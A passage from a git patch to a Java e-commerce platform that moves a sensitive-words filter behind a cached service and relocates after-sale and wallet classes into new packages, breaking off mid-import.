b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberEvaluationServiceImpl.java @@ -31,8 +31,7 @@ import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.entity.enums.CommentStatusEnum; import cn.lili.modules.order.order.service.OrderItemService; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.system.utils.CharacterConstant; -import cn.lili.modules.system.utils.SensitiveWordsFilter; +import cn.lili.common.sensitive.SensitiveWordsFilter; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; @@ -121,7 +120,7 @@ public class MemberEvaluationServiceImpl extends ServiceImpl impleme } //过滤会员昵称敏感词 if (com.baomidou.mybatisplus.core.toolkit.StringUtils.isNotBlank(managerMemberEditDTO.getNickName())) { - managerMemberEditDTO.setNickName(SensitiveWordsFilter.filter(managerMemberEditDTO.getNickName(), CharacterConstant.WILDCARD_STAR)); + managerMemberEditDTO.setNickName(SensitiveWordsFilter.filter(managerMemberEditDTO.getNickName())); } //如果密码不为空则加密密码 if (com.baomidou.mybatisplus.core.toolkit.StringUtils.isNotBlank(managerMemberEditDTO.getPassword())) { diff --git a/framework/src/main/java/cn/lili/modules/system/service/SensitiveWordsService.java b/framework/src/main/java/cn/lili/modules/system/service/SensitiveWordsService.java index 239fa94d..ac772590 100644 --- a/framework/src/main/java/cn/lili/modules/system/service/SensitiveWordsService.java +++ b/framework/src/main/java/cn/lili/modules/system/service/SensitiveWordsService.java @@ -11,5 +11,9 @@ import com.baomidou.mybatisplus.extension.service.IService; */ public interface SensitiveWordsService extends IService { + /** + * 重新写入缓存 + */ + void resetCache(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/system/serviceimpl/SensitiveWordsServiceImpl.java b/framework/src/main/java/cn/lili/modules/system/serviceimpl/SensitiveWordsServiceImpl.java index 9a16a185..e4e51155 100644 --- a/framework/src/main/java/cn/lili/modules/system/serviceimpl/SensitiveWordsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/system/serviceimpl/SensitiveWordsServiceImpl.java @@ -1,5 +1,7 @@ package cn.lili.modules.system.serviceimpl; +import cn.lili.cache.Cache; +import cn.lili.cache.CachePrefix; import cn.lili.modules.system.entity.dos.SensitiveWords; import cn.lili.modules.system.mapper.SensitiveWordsMapper; import cn.lili.modules.system.service.SensitiveWordsService; @@ -9,6 +11,9 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.List; +import java.util.stream.Collectors; + /** * 敏感词业务层实现 * @@ -17,5 +22,17 @@ import org.springframework.transaction.annotation.Transactional; */ @Service public class SensitiveWordsServiceImpl extends ServiceImpl implements SensitiveWordsService { + @Autowired + private Cache> cache; + @Override + public void resetCache() { + List sensitiveWordsList = this.list(); + + if (sensitiveWordsList == null || sensitiveWordsList.isEmpty()) { + return; + } + List sensitiveWords = sensitiveWordsList.stream().map(SensitiveWords::getSensitiveWord).collect(Collectors.toList()); + cache.put(CachePrefix.SENSITIVE.getPrefix(), sensitiveWords); + } } \ No newline at end of file diff --git a/manager-api/src/main/java/cn/lili/controller/other/SensitiveWordsManagerController.java b/manager-api/src/main/java/cn/lili/controller/other/SensitiveWordsManagerController.java index 5ca04bc2..4f635c2b 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/SensitiveWordsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/SensitiveWordsManagerController.java @@ -6,7 +6,7 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.system.entity.dos.SensitiveWords; import cn.lili.modules.system.service.SensitiveWordsService; -import cn.lili.modules.system.utils.SensitiveWordsFilter; +import cn.lili.common.sensitive.SensitiveWordsFilter; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; @@ -48,7 +48,7 @@ public class SensitiveWordsManagerController { @PostMapping public ResultMessage add(@Valid SensitiveWords sensitiveWords) { sensitiveWordsService.save(sensitiveWords); - SensitiveWordsFilter.put(sensitiveWords.getSensitiveWord()); + sensitiveWordsService.resetCache(); return ResultUtil.data(sensitiveWords); } @@ -58,7 +58,7 @@ public class SensitiveWordsManagerController { public ResultMessage edit(@PathVariable String id, SensitiveWords sensitiveWords) { sensitiveWords.setId(id); sensitiveWordsService.updateById(sensitiveWords); - SensitiveWordsFilter.put(sensitiveWords.getSensitiveWord()); + sensitiveWordsService.resetCache(); return ResultUtil.data(sensitiveWords); } @@ -66,12 +66,8 @@ public class SensitiveWordsManagerController { @ApiImplicitParam(name = "ids", value = "敏感词ID", required = true, dataType = "String", allowMultiple = true, paramType = "path") @DeleteMapping(value = "/delByIds/{ids}") public ResultMessage delAllByIds(@PathVariable List ids) { - for (String id : ids) { - String name = sensitiveWordsService.getById(id).getSensitiveWord(); - SensitiveWordsFilter.remove(name); - sensitiveWordsService.removeById(id); - } + sensitiveWordsService.removeByIds(ids); + sensitiveWordsService.resetCache(); return ResultUtil.success(); - } } From 58648c3eced8f7fbb257be7065363d104f983250 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 24 Nov 2021 10:30:21 +0800 Subject: [PATCH 011/145] =?UTF-8?q?=E6=A8=A1=E5=9D=97=E9=9A=94=E7=A6=BB?= =?UTF-8?q?=E4=BC=98=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../passport/MemberBuyerController.java | 2 +- .../MemberMessageBuyerController.java | 2 +- .../trade/AfterSaleBuyerController.java | 20 ++++++------- .../trade/RechargeTradeBuyerController.java | 4 +-- .../trade/WalletLogBuyerController.java | 4 +-- .../MemberWalletBuyerController.java | 10 +++---- .../MemberWithdrawApplyBuyerController.java | 8 +++--- .../RechargeBuyerController.java | 6 ++-- .../common/SliderImageController.java | 2 +- .../lili/controller/common/SmsController.java | 2 +- .../event/AfterSaleStatusChangeEvent.java | 2 +- .../cn/lili/event/MemberWithdrawalEvent.java | 2 +- .../event/impl/DistributionOrderExecute.java | 2 +- .../lili/event/impl/MemberPointExecute.java | 4 +-- .../lili/event/impl/MemberWalletExecute.java | 3 +- .../lili/event/impl/NoticeMessageExecute.java | 8 +++--- .../listener/AfterSaleMessageListener.java | 2 +- .../lili/listener/MemberMessageListener.java | 2 +- .../impl/order/OrderEveryDayTaskExecute.java | 2 +- .../impl/order/RechargeOrderTaskExecute.java | 4 +-- .../entity/dos/DistributionCash.java | 2 +- .../DistributionCashServiceImpl.java | 10 +++---- .../aop/AfterSaleLogPoint.java | 2 +- .../aop/AfterSaleOperationLogAspect.java | 8 +++--- .../entity/dos/AfterSale.java | 2 +- .../entity/dos/AfterSaleLog.java | 2 +- .../entity/dos/AfterSaleReason.java | 2 +- .../entity/dto/AfterSaleDTO.java | 2 +- .../entity/dto/AfterSalePriceDetailDTO.java | 2 +- .../entity/enums/ComplaintStatusEnum.java | 2 +- .../entity/vo/AfterSaleAllowOperation.java | 4 +-- .../entity/vo/AfterSaleApplyVO.java | 2 +- .../entity/vo/AfterSaleSearchParams.java | 2 +- .../entity/vo/AfterSaleVO.java | 4 +-- .../mapper/AfterSaleLogMapper.java | 4 +-- .../mapper/AfterSaleMapper.java | 6 ++-- .../mapper/AfterSaleReasonMapper.java | 4 +-- .../service/AfterSaleLogService.java | 4 +-- .../service/AfterSaleReasonService.java | 4 +-- .../service/AfterSaleService.java | 12 ++++---- .../serviceimpl/AfterSaleLogServiceImpl.java | 8 +++--- .../AfterSaleReasonServiceImpl.java | 8 +++--- .../serviceimpl/AfterSaleServiceImpl.java | 18 ++++++------ .../order/entity/dos/OrderComplaint.java | 2 +- .../entity/vo/OrderComplaintSearchParams.java | 2 +- .../order/order/service/StoreFlowService.java | 2 +- .../OrderComplaintServiceImpl.java | 2 +- .../serviceimpl/StoreFlowServiceImpl.java | 2 +- .../modules/payment/kit/CashierSupport.java | 2 +- .../modules/payment/kit/RefundSupport.java | 4 +-- .../kit/params/impl/RechargeCashier.java | 4 +-- .../kit/plugin/wallet/WalletPlugin.java | 4 +-- .../IndexStatisticsServiceImpl.java | 2 +- .../cn/lili/modules/system/sms/SmsUtil.java | 2 +- .../sms/impl/SmsUtilAliImplService.java | 2 +- .../aop/VerificationInterceptor.java | 2 +- .../aop/annotation/Verification.java | 2 +- .../{ => entity}/enums/VerificationEnums.java | 2 +- .../service/VerificationService.java | 2 +- .../service/impl/VerificationServiceImpl.java | 2 +- .../entity/dos/MemberWallet.java | 2 +- .../entity/dos/MemberWithdrawApply.java | 2 +- .../trade => wallet}/entity/dos/Recharge.java | 2 +- .../entity/dos/WalletLog.java | 20 +++---------- .../entity/dto/MemberWithdrawalMessage.java | 5 ++-- .../entity/enums/DepositServiceTypeEnum.java | 2 +- .../MemberWithdrawalDestinationEnum.java | 2 +- .../entity/enums/WithdrawStatusEnum.java | 2 +- .../entity/vo/MemberWalletVO.java | 2 +- .../entity/vo/MemberWithdrawApplyQueryVO.java | 2 +- .../mapper/MemberWalletMapper.java | 4 +-- .../mapper/MemberWithdrawApplyMapper.java | 4 +-- .../mapper/RechargeMapper.java | 4 +-- .../mapper/WalletLogMapper.java | 4 +-- .../service/MemberWalletService.java | 8 +++--- .../service/MemberWithdrawApplyService.java | 6 ++-- .../service/RechargeService.java | 6 ++-- .../service/WalletLogService.java | 6 ++-- .../serviceimpl/MemberWalletServiceImpl.java | 28 +++++++++---------- .../MemberWithdrawApplyServiceImpl.java | 22 +++++++-------- .../serviceimpl/RechargeServiceImpl.java | 14 +++++----- .../serviceimpl/WalletLogServiceImpl.java | 8 +++--- .../member/MemberWalletManagerController.java | 4 +-- .../MemberWithdrawApplyManagerController.java | 6 ++-- .../passport/AdminUserManagerController.java | 2 +- .../OrderStatisticsManagerController.java | 4 +-- .../trade/AfterSaleManagerController.java | 8 +++--- .../AfterSaleReasonManagerController.java | 4 +-- .../trade/RechargeManagerController.java | 4 +-- .../trade/WalletLogManagerController.java | 4 +-- .../passport/StorePassportController.java | 2 +- .../OrderStatisticsStoreController.java | 4 +-- .../trade/AfterSaleStoreController.java | 8 +++--- 93 files changed, 218 insertions(+), 232 deletions(-) rename buyer-api/src/main/java/cn/lili/controller/{member => system}/MemberMessageBuyerController.java (98%) rename buyer-api/src/main/java/cn/lili/controller/{member => wallet}/MemberWalletBuyerController.java (95%) rename buyer-api/src/main/java/cn/lili/controller/{member => wallet}/MemberWithdrawApplyBuyerController.java (87%) rename buyer-api/src/main/java/cn/lili/controller/{member => wallet}/RechargeBuyerController.java (91%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/aop/AfterSaleLogPoint.java (90%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/aop/AfterSaleOperationLogAspect.java (93%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/dos/AfterSale.java (98%) rename framework/src/main/java/cn/lili/modules/order/{trade => aftersale}/entity/dos/AfterSaleLog.java (97%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/dos/AfterSaleReason.java (93%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/dto/AfterSaleDTO.java (96%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/dto/AfterSalePriceDetailDTO.java (97%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/enums/ComplaintStatusEnum.java (92%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/vo/AfterSaleAllowOperation.java (94%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/vo/AfterSaleApplyVO.java (96%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/vo/AfterSaleSearchParams.java (98%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/entity/vo/AfterSaleVO.java (79%) rename framework/src/main/java/cn/lili/modules/order/{trade => aftersale}/mapper/AfterSaleLogMapper.java (66%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/mapper/AfterSaleMapper.java (85%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/mapper/AfterSaleReasonMapper.java (66%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/service/AfterSaleLogService.java (78%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/service/AfterSaleReasonService.java (83%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/service/AfterSaleService.java (91%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/serviceimpl/AfterSaleLogServiceImpl.java (76%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/serviceimpl/AfterSaleReasonServiceImpl.java (85%) rename framework/src/main/java/cn/lili/modules/order/{order => aftersale}/serviceimpl/AfterSaleServiceImpl.java (97%) rename framework/src/main/java/cn/lili/modules/verification/{ => entity}/enums/VerificationEnums.java (86%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/dos/MemberWallet.java (95%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/dos/MemberWithdrawApply.java (97%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/entity/dos/Recharge.java (98%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/entity/dos/WalletLog.java (88%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/dto/MemberWithdrawalMessage.java (75%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/entity/enums/DepositServiceTypeEnum.java (92%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/enums/MemberWithdrawalDestinationEnum.java (90%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/enums/WithdrawStatusEnum.java (92%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/vo/MemberWalletVO.java (93%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/entity/vo/MemberWithdrawApplyQueryVO.java (96%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/mapper/MemberWalletMapper.java (70%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/mapper/MemberWithdrawApplyMapper.java (70%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/mapper/RechargeMapper.java (68%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/mapper/WalletLogMapper.java (68%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/service/MemberWalletService.java (93%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/service/MemberWithdrawApplyService.java (84%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/service/RechargeService.java (90%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/service/WalletLogService.java (82%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/serviceimpl/MemberWalletServiceImpl.java (94%) rename framework/src/main/java/cn/lili/modules/{member => wallet}/serviceimpl/MemberWithdrawApplyServiceImpl.java (90%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/serviceimpl/RechargeServiceImpl.java (92%) rename framework/src/main/java/cn/lili/modules/{order/trade => wallet}/serviceimpl/WalletLogServiceImpl.java (88%) diff --git a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java index a1e6bccb..b1c297ef 100644 --- a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java @@ -7,7 +7,7 @@ import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dto.MemberEditDTO; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.system.sms.SmsUtil; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/MemberMessageBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/system/MemberMessageBuyerController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/member/MemberMessageBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/system/MemberMessageBuyerController.java index 552e6aeb..0fc906f1 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/MemberMessageBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/system/MemberMessageBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.system; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java index 5bf9cdf1..6ede0418 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/trade/AfterSaleBuyerController.java @@ -2,16 +2,16 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.order.entity.dos.AfterSale; -import cn.lili.modules.order.order.entity.dos.AfterSaleReason; -import cn.lili.modules.order.order.entity.dto.AfterSaleDTO; -import cn.lili.modules.order.order.entity.vo.AfterSaleApplyVO; -import cn.lili.modules.order.order.entity.vo.AfterSaleSearchParams; -import cn.lili.modules.order.order.entity.vo.AfterSaleVO; -import cn.lili.modules.order.order.service.AfterSaleLogService; -import cn.lili.modules.order.order.service.AfterSaleReasonService; -import cn.lili.modules.order.order.service.AfterSaleService; -import cn.lili.modules.order.trade.entity.dos.AfterSaleLog; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleReason; +import cn.lili.modules.order.aftersale.entity.dto.AfterSaleDTO; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleApplyVO; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleSearchParams; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; +import cn.lili.modules.order.aftersale.service.AfterSaleLogService; +import cn.lili.modules.order.aftersale.service.AfterSaleReasonService; +import cn.lili.modules.order.aftersale.service.AfterSaleService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleLog; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.common.security.OperationalJudgment; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java index 2cfc49ae..ed017607 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/trade/RechargeTradeBuyerController.java @@ -2,8 +2,8 @@ package cn.lili.controller.trade; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.trade.entity.dos.Recharge; -import cn.lili.modules.order.trade.service.RechargeService; +import cn.lili.modules.wallet.entity.dos.Recharge; +import cn.lili.modules.wallet.service.RechargeService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; import io.swagger.annotations.ApiImplicitParams; diff --git a/buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java index b48918f3..79d987d9 100644 --- a/buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/trade/WalletLogBuyerController.java @@ -5,8 +5,8 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.trade.entity.dos.WalletLog; -import cn.lili.modules.order.trade.service.WalletLogService; +import cn.lili.modules.wallet.entity.dos.WalletLog; +import cn.lili.modules.wallet.service.WalletLogService; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/MemberWalletBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java similarity index 95% rename from buyer-api/src/main/java/cn/lili/controller/member/MemberWalletBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java index ca2135c1..a51c4720 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/MemberWalletBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWalletBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; @@ -7,11 +7,11 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.dos.MemberWallet; -import cn.lili.modules.member.entity.vo.MemberWalletVO; +import cn.lili.modules.wallet.entity.dos.MemberWallet; +import cn.lili.modules.wallet.entity.vo.MemberWalletVO; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.member.service.MemberWalletService; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.wallet.service.MemberWalletService; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.Api; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java similarity index 87% rename from buyer-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java index 5ac9e860..84bd1492 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyBuyerController.java @@ -1,13 +1,13 @@ -package cn.lili.controller.member; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.member.entity.dos.MemberWithdrawApply; -import cn.lili.modules.member.entity.vo.MemberWithdrawApplyQueryVO; -import cn.lili.modules.member.service.MemberWithdrawApplyService; +import cn.lili.modules.wallet.entity.dos.MemberWithdrawApply; +import cn.lili.modules.wallet.entity.vo.MemberWithdrawApplyQueryVO; +import cn.lili.modules.wallet.service.MemberWithdrawApplyService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/buyer-api/src/main/java/cn/lili/controller/member/RechargeBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java similarity index 91% rename from buyer-api/src/main/java/cn/lili/controller/member/RechargeBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java index e75eea9b..90269a2d 100644 --- a/buyer-api/src/main/java/cn/lili/controller/member/RechargeBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/wallet/RechargeBuyerController.java @@ -1,12 +1,12 @@ -package cn.lili.controller.member; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.order.trade.entity.dos.Recharge; +import cn.lili.modules.wallet.entity.dos.Recharge; import cn.lili.modules.order.trade.entity.vo.RechargeQueryVO; -import cn.lili.modules.order.trade.service.RechargeService; +import cn.lili.modules.wallet.service.RechargeService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java b/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java index cdb6ba5c..bb22429f 100644 --- a/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java +++ b/common-api/src/main/java/cn/lili/controller/common/SliderImageController.java @@ -3,7 +3,7 @@ package cn.lili.controller.common; import cn.lili.cache.limit.annotation.LimitPoint; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/common-api/src/main/java/cn/lili/controller/common/SmsController.java b/common-api/src/main/java/cn/lili/controller/common/SmsController.java index d74b25dc..71ce02ad 100644 --- a/common-api/src/main/java/cn/lili/controller/common/SmsController.java +++ b/common-api/src/main/java/cn/lili/controller/common/SmsController.java @@ -5,7 +5,7 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.system.sms.SmsUtil; -import cn.lili.modules.verification.enums.VerificationEnums; +import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/consumer/src/main/java/cn/lili/event/AfterSaleStatusChangeEvent.java b/consumer/src/main/java/cn/lili/event/AfterSaleStatusChangeEvent.java index 0229cfb0..b81196e8 100644 --- a/consumer/src/main/java/cn/lili/event/AfterSaleStatusChangeEvent.java +++ b/consumer/src/main/java/cn/lili/event/AfterSaleStatusChangeEvent.java @@ -1,7 +1,7 @@ package cn.lili.event; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; /** * 售后单改变状态 diff --git a/consumer/src/main/java/cn/lili/event/MemberWithdrawalEvent.java b/consumer/src/main/java/cn/lili/event/MemberWithdrawalEvent.java index 0a2b333d..97904347 100644 --- a/consumer/src/main/java/cn/lili/event/MemberWithdrawalEvent.java +++ b/consumer/src/main/java/cn/lili/event/MemberWithdrawalEvent.java @@ -1,6 +1,6 @@ package cn.lili.event; -import cn.lili.modules.member.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; /** * 会员提现消息 diff --git a/consumer/src/main/java/cn/lili/event/impl/DistributionOrderExecute.java b/consumer/src/main/java/cn/lili/event/impl/DistributionOrderExecute.java index fed28ee0..7b9f138a 100644 --- a/consumer/src/main/java/cn/lili/event/impl/DistributionOrderExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/DistributionOrderExecute.java @@ -7,7 +7,7 @@ import cn.lili.modules.distribution.entity.dos.DistributionOrder; import cn.lili.modules.distribution.entity.enums.DistributionOrderStatusEnum; import cn.lili.modules.distribution.mapper.DistributionOrderMapper; import cn.lili.modules.distribution.service.DistributionOrderService; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dto.OrderMessage; import cn.lili.modules.order.trade.entity.enums.AfterSaleStatusEnum; import cn.lili.timetask.handler.EveryDayExecute; diff --git a/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java b/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java index 6c32b979..ab4a8d1a 100644 --- a/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java @@ -1,7 +1,6 @@ package cn.lili.event.impl; -import cn.hutool.core.convert.Convert; import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.StringUtils; import cn.lili.event.AfterSaleStatusChangeEvent; @@ -12,11 +11,10 @@ import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dto.OrderMessage; import cn.lili.modules.order.order.entity.enums.OrderPromotionTypeEnum; -import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.trade.entity.enums.AfterSaleStatusEnum; diff --git a/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java b/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java index 99703c25..49274773 100644 --- a/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/MemberWalletExecute.java @@ -3,8 +3,7 @@ package cn.lili.event.impl; import cn.lili.event.MemberRegisterEvent; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.service.MemberWalletService; -import lombok.RequiredArgsConstructor; +import cn.lili.modules.wallet.service.MemberWalletService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; diff --git a/consumer/src/main/java/cn/lili/event/impl/NoticeMessageExecute.java b/consumer/src/main/java/cn/lili/event/impl/NoticeMessageExecute.java index 81d120d2..e9beb96a 100644 --- a/consumer/src/main/java/cn/lili/event/impl/NoticeMessageExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/NoticeMessageExecute.java @@ -2,16 +2,16 @@ package cn.lili.event.impl; import 